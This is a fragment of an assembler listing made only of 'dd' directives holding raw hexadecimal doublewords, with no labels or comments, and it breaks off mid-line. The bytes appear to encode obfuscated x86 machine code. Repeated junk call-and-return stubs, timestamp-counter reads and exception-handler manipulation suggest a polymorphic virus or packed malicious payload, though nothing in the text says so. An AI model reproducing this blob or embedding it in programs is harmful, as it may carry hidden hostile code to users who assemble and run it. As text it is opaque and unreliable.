0B98AC34h, 7FE40B16h, 7CC35D77h, 0F303C2Fh, 880DD8BFh dd 0F000000h, 958BF9BFh, 6070A01h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0C7C35040h, 34C53638h, 604396E5h dd 4D37BA66h, 0C2CBA1BBh, 0DE86105h, 7B000000h, 7F6036EDh dd 4DE87093h, 0A2ADF778h, 6820Fh, 800F0000h, 0 dd 4BCF805Bh, 14A58D8Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 9FFE71C3h, 0BFD08095h dd 7BF80109h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 16D5AAC3h, 0BD83326Dh, 6072FF9h, 6A840F00h dd 0F000000h, 181h, 0B8F900h, 89000000h, 7158DBDh, 4A8D8D06h dd 6A06074Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 718CC351h, 4CC36D21h, 0D2181FE2h dd 123D8D89h, 0E1FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 8DC35545h, 89D023CBh, 71E5D9Dh, 0D5BD8306h dd 6072Fh, 536840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 6FF863C3h, 0D7F78271h dd 0D0D8D01h, 13E90607h, 8E000000h, 6203801h, 0DF051D08h dd 0F5BE6C8Bh, 4B37DCBEh, 0BD83AB9Ch, 6072FD5h, 4840F01h dd 6A000005h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F67EC352h, 0E98FC029h, 10h, 370A1B02h dd 63D14819h, 0B69423EFh, 9A1317C8h, 2FD5BD83h, 0F030607h dd 48C86h, 95B58900h, 6006071Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 45C35141h, 92C40451h, 3C12F3E6h dd 0D98C6685h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0CDC35747h, 0F9AB6022h, 6604E180h, 0ADD8FBBh, 0FC840FC9h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0BBEBC355h, 4A355553h, 0EF1858Bh dd 11E80607h, 3A000000h, 0CCA95BF0h, 9DB51B2h, 8A0CC40Eh dd 859F2E81h, 0F79B589h, 335F0607h, 7156985h, 0FDD8A06h dd 6690DAB7h, 5044EEBFh, 2990DA8Bh, 709DDB5h, 0E8006A06h dd 4, 1F03FFh, 50DA8B66h, 22870Fh, 8E80000h, 0F1000000h dd 0A7C3038h, 0E81DFB42h, 0Eh, 96582255h, 0EBAD7678h, 2B721FBCh dd 5B5B92DCh, 424448Bh, 162B83BBh, 0B3008B0Fh, 24448903h dd 0F98B5004h, 0B70F585Bh, 6195FFF8h, 6A060705h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0B80C352h, 6B55D81Eh, 9351CF6h, 72DAD8Dh, 800F5706h dd 4, 5F85BB66h, 64D7805Bh, 0A2918589h, 0E9FC060Ah, 29Ch dd 8BF88B66h, 0AA28985h, 8E906h, 3AC80000h, 0A32A73B4h dd 0C72C57h, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 4AC35040h, 12E9B6DEh, 66000000h, 9D7D0D46h, 0E77FD4B9h dd 30B393D0h, 3798C8A1h, 8DB58B97h, 6A060AA2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 734CC355h, 0BE8C2h, 92CB0000h, 14B01EF3h, 0A39163B3h dd 57D380C4h, 6800F5Fh, 9000000h, 70CF19Dh, 7D858B06h dd 6A06071Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 68D2C356h, 4A461CBBh, 35B58918h dd 8906072Ch, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 94113C9Eh, 8951F9FCh, 70CC99Dh, 0BF0F5F06h dd 10E8FFh, 0CD100000h, 98AA4E1h, 0D7F8FBBFh, 60405679h dd 8B602D99h, 7010185h, 61D6B606h, 0F1858B5Bh, 8906070Eh dd 705499Dh, 4468906h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 22C35343h, 110F9B47h, 0CEA78C85h, 12659589h dd 0F960607h, 381h, 0FB8B6600h, 0B5FF9650h, 60AA289h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A8C35141h, 1F52C444h dd 60FB8B48h, 2C98533h, 850F0607h, 0Eh, 9E9h, 5A44D600h dd 393F35FBh, 0F61A915h, 686h, 4DBD8900h, 0E806071Ah, 4 dd 1F03FFh, 17820Fh, 8D0F0000h, 11h, 0CE9h, 0F8D12F00h dd 0E912AE5Dh, 6E36434Eh, 8E850DEh, 2B000000h, 0C7F511DFh dd 6094D052h, 0BF666160h, 5F61D454h, 424448Bh, 5051008Bh dd 0FA8B6652h, 5F50310Fh, 895B585Ah, 0E9042444h, 0Dh, 0FD2F43BDh dd 13D27A89h, 80557767h, 0BD315890h, 6070111h, 0A291858Dh dd 8B66060Ah, 0E85090DEh, 0Fh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh dd 668F2539h, 905FD98Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 7BC35141h, 810F5018h, 0 dd 6870F5Fh, 8B000000h, 713F99Dh, 3DDF8106h, 0FF1ECFE7h dd 7056195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0CBA3FEADh, 0BD8BF5E9h, 607022Dh dd 0D585C761h, 306072Fh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0F96BC351h dd 63526033h, 0E9FAD526h, 8, 28E8A526h, 0D3D5E9EBh, 0BD83A1B3h dd 60AA291h, 4E840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1B40C351h dd 537A4070h, 0E9FA8B66h, 40h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 78C35747h, 9019AF08h, 0BF0FC4CAh dd 0C3050D9h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0EB1B589h, 0BF660607h, 9E973FBh, 2F000000h dd 863B23E4h, 5F6EB957h, 2FD5BD83h, 0F030607h, 44685h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0F31EF40Eh, 2169BD8Bh, 0BD830607h, 60AA291h dd 14840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 4DCAC352h, 0AB8BDCD2h dd 2E5D9D8Bh, 0B5FF0607h, 60AA291h, 0F619D23h, 95FF0607h dd 6071641h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0B8C35747h, 2C7A4B55h, 2A5EB497h, 6870Fh, 0BD290000h dd 6072819h, 4DEF8166h, 85B58BD0h, 0F060AA2h, 83h, 106C700h dd 66000100h, 0FBF2EB81h, 0D98B6650h, 89243489h, 731859Dh dd 91B5FF06h, 6A060AA2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 33D9C351h, 6BDA6740h dd 4EFF4EADh, 1DE195FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 4EDFE2C3h, 0F728B4D9h dd 0A285B58Bh, 8166060Ah, 602C4DEFh, 8B615A50h, 720A585h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0F80EB566h, 0E9394770h, 0Dh, 137C6732h dd 6BA6B369h, 74199B69h, 5E86070h, 33000000h, 0F95A12B9h dd 6E9h, 24BE0D00h, 5EC2FDBEh, 45EA8166h, 86896156h, 0C4h dd 0A01958Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0F5786BC3h, 0FB8B6648h, 38D0Fh dd 8B660000h, 4C283DFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0EBC35040h, 0B2BB6656h, 50895B64h, 7E85620h dd 0F7000000h, 0F8078817h, 840F1083h, 0 dd 858D5F5Fh, 60AB5BCh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 2AC35040h, 89DE8B93h, 0B886h, 48A0F00h dd 66000000h, 6A5E84BBh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 444C4DF4h, 5CC4DE68h dd 8D295A0Bh, 6072091h, 7898D31h, 0B5FF0607h, 60AA291h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9DC35242h dd 0D7F3A15Dh, 8595FFCAh, 81060702h, 87EC3FC7h, 0DA8B5028h dd 0E9243489h, 8, 73D6BD6Dh, 5FA3324Ch, 0A291B5FFh, 6A060Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 967E34C3h, 8DA3E816h, 65DBD8Bh, 95FF0607h, 6071155h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9AC35747h dd 0BD83C785h, 60706DDh, 74840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0B094C356h, 84343E0Ah, 616B3E2Bh, 50DF8B66h, 348989B3h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 510656B7h, 0BE9h, 0E5992800h, 4E19E5F9h dd 0C68E1DB3h, 10E85Fh, 0EDBF0000h, 0C3563A32h, 38872AAFh dd 0D5926D76h, 0FF5BD80Eh, 0AA291B5h, 85316006h, 6070415h dd 4AC98166h, 95FF611Fh, 6071BF1h, 1BA9BD89h, 0B5FF0607h dd 60AA291h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 4DC35141h, 24CC3B11h, 999D8B64h, 0F060705h, 687h dd 918D0900h, 0FF060732h, 71AF595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BF661D06h dd 0BD837B5Bh, 60719F5h, 38840F02h, 89000000h, 729558Dh dd 29858B06h, 8B06071Ah, 72401BDh, 0C606h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9AC35646h, 0D97A06A2h dd 0C7D9C838h, 70D0985h, 6, 259D0100h, 0E9060716h, 0FFFFF1F0h dd 19E98589h, 0C18B0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 99C35343h, 1958BBB6h, 1F7A743Bh, 10E95320h dd 4B000000h, 8CEC0F40h, 500DEB1Ch, 84CC9BF6h, 5B043C83h dd 2C61858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0B1E9FFC3h, 0E9D8ED5Dh, 14h, 0CF275AA8h dd 42E9FE33h, 38A53658h, 95153D04h, 8EEA26CEh, 5E516050h dd 0F2CABB60h, 61616C31h, 0B3240489h, 0FC006A83h, 8D89006Ah dd 60703F9h, 768858Dh, 0B509060Ch, 60723B1h, 0EE9h, 203DB100h dd 77EE0355h, 924BCD82h, 830AC873h, 6A05C0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 575B46C3h dd 66909EB4h, 50E6B2BFh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0E58D8735h, 6AF655h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 48C35747h, 85B8DA02h dd 2901B589h, 0E7810607h, 560C663Eh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 5F817DC3h dd 7428EBD9h, 13860FF1h, 0E9000000h, 0Eh, 0DF7D860h, 0A1ABC724h dd 0B815EEF1h, 95FFFF46h, 6071335h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 70C35545h, 0D677D216h, 2B078195h dd 68F0F53h, 8B000000h, 73125BDh, 9D8D8D06h, 6A060A93h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 9260C356h, 0BD8B4ECAh, 6071405h, 28BBD1FFh dd 834F5C76h, 732B1BDh, 850F0106h, 5Dh, 61D98A60h, 6A026Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 6050DDC3h, 7133BB66h, 24048961h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0E9C35747h, 17E59D8Bh, 5F510607h dd 37EDE781h, 95FF00ACh, 6070285h, 0D63E9F8h, 0E80000h dd 5D000000h, 772ED81h, 0BD8B060Ch, 6070465h, 0AE9h, 4A42B300h dd 0E5B4D440h, 81987D16h, 1118F7D3h, 3858D12h, 6A060A86h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0D7DEC350h, 3D6B4A8Fh, 418C3FA2h, 0DBD8B60h dd 66060706h, 7C97C381h, 12E95061h, 0FE000000h, 0F5E9CBA3h dd 0AF89788Fh, 1D093850h, 4F318A1Ch, 0F505B6Fh, 280h, 89DD8A00h dd 10E92404h, 63000000h, 6725089h, 0BD957ACAh, 1850CF4Eh dd 643F8CFDh, 35FFh, 81660000h, 64D30DCFh, 2589h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 179E52C3h, 12E999h, 0D50B0000h, 7889BB8Dh, 9F7F7CF3h dd 0FC920A2Ch, 0E22BF8DFh, 2C8985FFh, 9D8B0607h, 6070F09h dd 0BEB3FF6Ah, 0CDDB5FFh, 0AE80607h, 34000000h, 0E8E08005h dd 0EE4C6FDDh, 0A5B529CAh, 5B060713h, 213D95FFh, 4CE90607h dd 0B0000001h, 890F00h, 0BF000000h, 94AA34Bh, 0F6070E6h dd 0E78ADEB7h, 8B71E461h, 711DD9Dh, 0F613C06h, 12683h dd 96B26000h, 0A39B529h, 81610607h, 0A34512C3h, 0C8B60F07h dd 6E960h, 438C0000h, 9A44966Ch, 1479BD89h, 0E8610607h dd 7, 724ED64Eh, 0F4044E4h, 0BA5FDBB7h, 6, 919D2B60h, 29060703h dd 73079BDh, 9D336106h, 6072E31h, 0CE9C18Bh, 36000000h dd 0E3DD14DAh, 0EC30C8C9h, 0C198A4BFh, 0DE8B04E8h, 6619D8Bh dd 0F7660607h, 9DBD09E2h, 2B060716h, 0A4CF81C8h, 8B053945h dd 6E9D1h, 75C50000h, 21276C42h, 96E9h, 69B58900h, 0E806071Ah dd 6, 28B76CF2h, 0BD0BED80h, 607130Dh, 4C858B5Bh, 60505F4Ch dd 8B47B560h, 71FF195h, 0B70F6106h, 0C08361D1h, 0C083F507h dd 3642BB00h, 0D03B2C43h, 17830Fh, 9D8B0000h, 6070F21h dd 4AE9h, 6880F00h, 2B000000h, 718E99Dh, 0FF8D8B06h, 66FFFFFFh dd 4508CB81h, 0F01E183h, 2A84h, 7E900h, 4C540000h, 46E9DA5Dh dd 0FFA583DEh, 0FEFFFFFFh, 236DCF81h, 95895961h, 505F4C4Ch dd 0DC19589h, 0E90607h, 8D000000h, 0B8852B5h, 6ADA8A06h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0F62BFC1Eh, 5BB8FDCh, 0FF270917h, 71B6995h dd 0B95AB306h, 0FA5h, 0BE8h, 92EC3500h, 4F8A3AFEh, 60F2FD2Eh dd 2D75B589h, 835F0607h, 0B70FFCE1h, 6AFCF8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 232CA6C3h dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 890F94E6h, 2, 9509FA8Bh, 6070451h dd 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0C233ADFDh, 0D003E8D1h, 7504E983h dd 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h dd 662F2F7h, 5F99C23Ah, 0AE9C6E1h, 49000000h, 836471F9h dd 0DA69185Ch, 0CF8166DDh, 880D0082h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 8DB5C355h, 9589FD9Bh, 6070C8Dh, 0A01958Bh, 51FC0607h dd 0A58D8B5Fh, 6A060714h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 6591C353h, 7B0AFABFh dd 898D0142h, 50060707h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 2F04F219h, 2FCDBE74h, 0CE8h, 382D0F00h dd 15D3DFCh, 0D72894EDh, 859D2B29h, 5B060731h, 2FF9BD83h dd 0F000607h, 6884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0B0E0F81Eh, 103D61E6h dd 8B662A3Fh, 0B8D8h, 66520000h, 8B5FFB8Bh, 721B59Dh, 4A8D8D06h dd 6A06074Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0BBA0C355h, 8B668392h, 89E1FFF9h dd 712F185h, 0D5BD8306h, 6072Fh, 483840Fh, 0BF660000h dd 0BD839F63h, 6072FD5h, 8D840F01h, 0F8000004h, 2FD5BD83h dd 0F030607h, 44986h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 66D35F3Bh, 60C321BFh dd 2CFD9D03h, 8C660607h, 759D8BD9h, 8006070Dh, 6A04E1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D72605C3h, 0C23DCB67h, 43BF6657h, 0CB805FE3h, 0FC90AF7h dd 17184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 219F2AD7h, 0BA4B1553h, 10999589h dd 858B0607h, 6070EF1h, 15698533h, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0BADA34C3h dd 0F08DC89Ch, 2850F50h, 0B7000000h, 2404891Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 62C35242h, 7D782333h dd 9F53C31Ah, 6AFC90h, 1B61BD8Bh, 4E80607h, 0FF000000h dd 0BB001F03h, 353E0B67h, 52505650h, 0B51BBB66h, 5F57310Fh dd 8B5F585Ah, 0B7042444h, 60008BD6h, 8961F28Bh, 53042444h dd 89E3BF66h, 6A585Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0C70C6FC3h, 94D5E003h, 0F61D750h dd 681h, 61BD0300h, 0FF060713h, 7056195h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8B660F9Dh, 918589DAh, 6A060AA2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 91F3C355h dd 97E89AD3h, 0E06EBB66h, 1FFE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 43A90852h dd 280FBCFBh, 858B0E88h, 60AA289h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0D4C35747h, 5C8A69A8h, 9589B411h dd 6072841h, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0EA9F4DC3h, 2A9569DDh dd 8DB58BD5h, 6A060AA2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 11E3C350h, 1C7D858Bh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0EB0D9CC3h, 0C94CA05Ch, 31BD8BC3h, 8B06071Bh dd 890689D8h, 726AD9Dh, 0F1858B06h, 6A06070Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0E80FC352h, 488595B2h, 93F780CDh, 0E9044689h, 0Ch, 54B357B0h dd 81AD442Fh, 9ACCF1EFh, 0B3B76096h, 0F525051h, 5B585A31h dd 0F965061h, 86h, 0B1BD8B00h, 0FF060719h, 0AA289B5h, 0FE8B6606h dd 0E1327C68h, 8102B795h, 0D1832404h, 6A6A3Dh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0D5A203C3h, 0CB8166DEh, 8B66B1C4h, 91858DDAh, 6A060AA2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0A25AC350h, 81668146h, 90E7DAE7h, 8B5095B7h dd 6A90DEh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0A3076C3h, 66CC0BBEh, 0FF05C5BFh, 7056195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0D70167CDh, 7BFE3558h, 6E83Bh, 0EB830000h dd 77B123BAh, 5BF8B70Fh, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 24ADF95Dh, 0C7F87FE7h dd 72FD585h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0BCEBAD76h, 0DC2B721Fh dd 91BD8392h, 60AA2h, 38840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 8CFC99C3h dd 0AC2EBC8Ch, 60CF803Ah, 0FDB531FCh, 61060727h, 20E9h dd 8FD1BF00h, 3050527Dh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 299D01C0h, 6A06070Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 68C5C356h, 83505179h, 72FD5BDh, 850F0306h, 390h, 9AF38166h dd 91BD8364h, 60AA2h, 37E840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0AC54B2C3h dd 0FFD82538h, 0AA291B5h, 4195FF06h, 6A060716h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0BDFC351h, 0A285B58Bh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 3C0E31C3h, 0E77C3B61h dd 80B66F87h, 6C7F9C7h, 10001h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 65C35141h, 0AB825DC4h, 89CD7AD2h dd 7043DB5h, 5E99606h, 0FD000000h, 2CD84F64h, 0FE850h dd 80EF0000h, 5B5961AAh, 97ACC1C0h, 61C18F34h, 6A965B46h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0B584C356h, 89BF1954h, 72409BDh, 91B5FF06h dd 8B060AA2h, 710859Dh, 0E195FF06h, 6A06071Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9FBCC352h, 0B9FA5143h, 0A285B58Bh, 0BD8B060Ah, 6072CD1h dd 20A5858Bh, 0BE90607h, 3F000000h, 0C827DD30h, 0BD1157AEh dd 86894592h, 0C4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 1EC35646h, 0F916D990h, 0C18E5E70h, 0A6F2BB72h dd 958B3976h, 6070A01h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 49C35141h, 6A04C283h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h dd 2518C356h, 20508978h, 2EE59D8Bh, 858D0607h, 60AB5BCh dd 2FFD8529h, 86890607h, 0B8h, 12F99D8Bh, 6A0607h, 5093F381h dd 8D892E41h, 6070A65h, 0A291B5FFh, 6A060Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 38137DC3h dd 0F9566DF2h, 8595FFFCh, 31060702h, 7154DBDh, 8A0F5006h dd 5, 9B2D75BBh, 24348948h, 91B5FFFCh, 6A060AA2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 63E3C353h, 0F705C581h, 0DE9h, 569B5000h, 0E71C6802h dd 502408E7h, 95FF07C7h, 6071155h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 9C35646h, 8B6B3842h, 70549BDh dd 0D9BF0F06h, 6DDBD83h, 0F000607h, 3384h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0F1D1066Bh, 494C20BEh, 8A96D4F2h, 8B6650FEh, 0B58996D8h dd 6071ADDh, 0A291B5FFh, 0BD8B060Ah, 607281Dh, 1BF195FFh dd 0BD290607h, 6072E41h, 1B6D9D8Bh, 0B5FF0607h, 60AA291h dd 2DDDBD0Bh, 95FF0607h, 6071AF5h, 83DBB70Fh, 719F5BDh dd 840F0206h, 5Ch, 3021BD33h, 858B0607h, 6071A29h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1CC35646h, 0C68681B2h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 7C9533C3h, 1363D5B9h, 0A9D2CB81h, 0E781689Ch dd 76BA18D5h, 0D0985C7h, 607h, 8D890000h, 60704C1h, 0FFF3C7E9h dd 2840FFFh, 8B000000h, 6AC18BF9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 72ECC357h dd 8BD08B60h, 7264585h, 6E96106h, 3D000000h, 0A55E49D0h dd 61858D90h, 3306072Ch, 7304DBDh, 52505006h, 14E9h, 0D5D16200h dd 0FB1CBCBh, 22CB86D7h, 0D12C9C3Eh, 0FD93DA7Fh, 8A310F05h dd 89585AF9h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0ADEE19C3h, 17EC2813h, 6A296227h dd 6E900h, 0EF8D0000h, 9C30182Dh, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 18CA6CC3h dd 8D0C7097h, 0C169A85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 8FBF3DD6h, 946C69A2h dd 2F759D89h, 81660607h, 8359BDC3h, 8D8905C0h, 60726EDh dd 52505790h, 310FFA8Bh, 585ADE8Bh, 0E950505Bh, 7, 0B0ADCDA4h dd 5F40E88Dh, 71958990h, 6A060730h, 71BD8B00h, 6A060726h dd 8860F00h, 0F000000h, 287h, 0FF56B300h, 7133595h, 0D5EB8006h dd 939D8D8Dh, 8E0F060Ah, 0Bh, 87D68060h, 1A69850Bh, 89610607h dd 7209185h, 6AD1FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8B53C356h, 701F99Dh dd 0B1BD8306h, 1060732h, 75850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 820E1FC3h dd 398DB3BEh, 26AA3ABh, 90FEBF0Fh, 90D98B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 4AC35141h, 28595FFh dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 652730C3h, 8CB0A6F6h, 0E97F7560h, 0C83h dd 0E8h, 0ED815D00h, 60C16A4h, 1AECB0BBh, 52006A1Ah, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0CE0582FFh, 0AC21CED6h, 6890F77h, 31000000h, 70B7D8Dh dd 11E806h, 7DD70000h, 0FBECEC6Fh, 0C4AF7D97h, 0E780E25Fh dd 8994BDCBh, 706718Dh, 858D5B06h, 60A8603h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 67C35747h, 5D96E7E5h dd 0E851502Ch, 0Ch, 1DB4997h, 86EF00C3h, 0A0CDE993h, 5FF98B66h dd 2404895Fh, 11E9h, 88B65400h, 0CDB06DFCh, 0AA270F81h dd 0A0417F9Eh, 0FF6492BBh, 35h, 619D8B00h, 64060714h, 2589h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0F9C9F2C3h, 0FFF9BF0Fh, 72C8985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 676FBE06h, 602490D3h, 81F78152h, 5A24123Eh, 0FF6A61F8h dd 42DB8166h, 4DB5FFA7h, 66060705h, 6651D88Bh, 